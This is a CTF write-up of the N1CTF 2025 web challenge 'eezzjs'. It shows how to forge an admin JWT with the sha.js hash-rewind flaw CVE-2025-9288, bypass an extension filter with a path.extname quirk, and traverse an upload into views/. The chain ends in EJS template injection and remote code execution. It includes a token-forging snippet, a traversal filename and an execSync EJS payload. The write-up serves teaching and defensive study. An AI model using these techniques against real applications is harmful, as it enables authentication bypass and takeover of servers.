pwneglyph logo
web web-server nodejs express jwt jwt-forgery sha.js cve-2025-9288 hash-rewind length-confusion ejs ssti template-injection path-extname-bypass path-normalization path-traversal file-upload extension-filter-bypass rce

Forge an admin JWT without the secret by abusing sha.js 2.4.x update() rewind (a payload object with length:-45 cancels header+secret from the hash), bypass a /js/ extension filter with path.extname("x.ejs/.")===".", path-traverse the upload into views/, and render it via ?templ= for EJS SSTI RCE.

eezzjs — sha.js hash-rewind JWT forgery → path.extname bypass → EJS RCE

CTF: N1CTF 2025 · Category: Web (server-side) · Author: GSBP · joint solve with siefr3dus

Challenge overview

An Express app whose file upload is gated behind a JWT auth middleware, with EJS as the view engine. The only account is admin (random password), and there's no registration — so we must forge an admin JWT, then turn the upload into RCE.

app.set('view engine', 'ejs');
app.post('/upload', authenticateJWT, uploadFile);

Step 1 — forge the JWT via sha.js hash rewind (CVE-2025-9288)

The custom JWT uses a homemade sha256 over sha.js 2.4.10, and verification passes the parsed payload object straight into the hash:

const sha256 = (...messages) => {
    const hash = sha('sha256');
    messages.forEach((m) => hash.update(m));   // m can be an OBJECT, not just a string
    return hash.digest('hex');
};
// verify:
const expectedSignatureHex = sha256(...[JSON.stringify(header), payload, secret]);

sha.js ≤ 2.4.11 is vulnerable to CVE-2025-9288: update() doesn't validate its argument type and trusts the value's .length. Passing an object with a negative length rewinds the internal byte counter, effectively un-hashing previously absorbed bytes. Since payload comes from the token (attacker-controlled JSON), we control payload.length.

Count what we need to cancel:

  • JSON.stringify(header) = {"alg":"HS256","typ":"JWT"}27 bytes
  • secret = crypto.randomBytes(9).toString('hex')18 hex chars
  • total before secret finishes = 45

Set payload.length = -45. When verify runs hash.update(JSON.stringify(header)) then hash.update(payload) then hash.update(secret), the payload's -45 rewind cancels the 27-byte header and the 18-byte secret, so the digest no longer depends on the (unknown) secret at all. We compute the same digest offline and ship a fully valid token for {username:'admin'}:

// craft: mirror signJWT but force length:-45 on the body
const body = { username: 'admin', length: -45, iat: now, exp: now + 3600 };
const token = [
  toBase64Url(JSON.stringify({ alg:'HS256', typ:'JWT' })),
  toBase64Url(JSON.stringify(body)),
  sha256(JSON.stringify({ alg:'HS256', typ:'JWT' }), body, /*secret*/ 'anything')  // secret rewound away
].join('.');

The signature is independent of secret, so any value works — the token verifies as admin.

Step 2 — bypass the extension filter (path.extname quirk)

Upload blocks anything whose extension matches /js/i, but the string checked differs from the string written:

var ext = path.extname(filename).toLowerCase();
if (/js/i.test(ext)) return res.status(403).send('Denied filename');
var filepath = path.join(uploadDir, filename);   // normalizes the path

Two facts:

  • path.extname("x.ejs/.") looks at the last path segment after / (.) → returns "." (no "js").
  • path.join normalizes, dropping the trailing /..

So filename = "payload.ejs/." passes the filter (ext === ".") but lands on disk as payload.ejs.

Step 3 — path traversal into views/ + EJS SSTI

There's no traversal guard on filename, so prepend ../views/ to drop the EJS file where the renderer looks. Combine with the extname trick:

filename = ../views/flag.ejs/.

A serveIndex handler renders an attacker-chosen template name from ?templ=:

function serveIndex(req, res) {
    var templ = req.query.templ || 'index';
    res.render(templ, { filenames: fs.readdirSync(...), path: req.path });
}

Upload an EJS payload that shells out, then trigger it:

<%= global.process.mainModule.require('child_process').execSync('cat /flag').toString() %>
POST /upload   (admin JWT)  filedata=<base64 of the EJS>  filename=../views/flag.ejs/.
GET  /?templ=flag.ejs       -> renders our template -> RCE -> flag

Takeaways (generalized techniques)

  • sha.js < 2.4.12 hash rewind (CVE-2025-9288): if user input reaches hash.update() as a non-string whose .length you control, a negative length rewinds absorbed bytes and cancels a secret/prefix from the digest — forging MACs/JWTs without the key. Smell: a custom HMAC/sha256(...) that updates with a parsed JSON object rather than a string, plus a pinned old sha.js.
  • path.extname vs path.join disagreement: path.extname("a.ext/.")".", while path.join normalizes away the trailing /.. The validated string ≠ the written string → extension-filter bypass.
  • Upload + traversal into the template/views dir + a render-by-name sink (res.render(req.query.templ)) = arbitrary EJS SSTI → RCE (<%= process.mainModule.require('child_process').execSync(...) %>). Setting view engine to EJS means you must land an .ejs (the .pug/other-engine trick won't apply).

Sources & references